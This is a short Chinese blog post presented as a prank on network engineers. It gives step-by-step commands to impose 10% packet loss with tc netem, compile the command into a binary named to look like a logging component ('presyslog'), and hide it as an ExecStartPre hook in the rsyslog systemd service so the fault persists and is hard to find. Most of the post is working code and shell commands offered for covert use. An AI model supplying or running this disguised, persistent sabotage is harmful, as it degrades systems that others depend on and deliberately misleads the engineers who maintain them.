美文网首页
一个调戏网络工程师的办法

一个调戏网络工程师的办法

作者: 潘猛_9f76 | 来源:发表于2020-11-06 14:44 被阅读0次

    思路

    在系统上造成网络故障的现象,并且难以在系统上发现问题。

    tc命令

    iproute2中的tc命名,可以模拟丢包和延时

    /usr/sbin/tc qdisc add dev eth0 root netem loss 10%
    

    修改方法

    把命令编译成二进制

    cat >> 1.c << EOF
    #include<stdlib.h>
    main()
    {
    system("/usr/sbin/tc qdisc add dev eth0 root netem  loss 10%");
    }
    EOF
    gcc -o presyslog 1.c
    cp presyslog /usr/sbin/
    

    添加命令到常用服务 /usr/lib/systemd/system/rsyslog.service 的[Service]中,每次服务启动前运行命令

    ExecStartPre=/usr/sbin/presyslog
    

    重新启动服务

    systemctl daemon-reload
    systemctl restart rsyslog
    

    效果

    image.png

    相关文章

      网友评论

          本文标题:一个调戏网络工程师的办法

          本文链接:https://www.haomeiwen.com/subject/lletbktx.html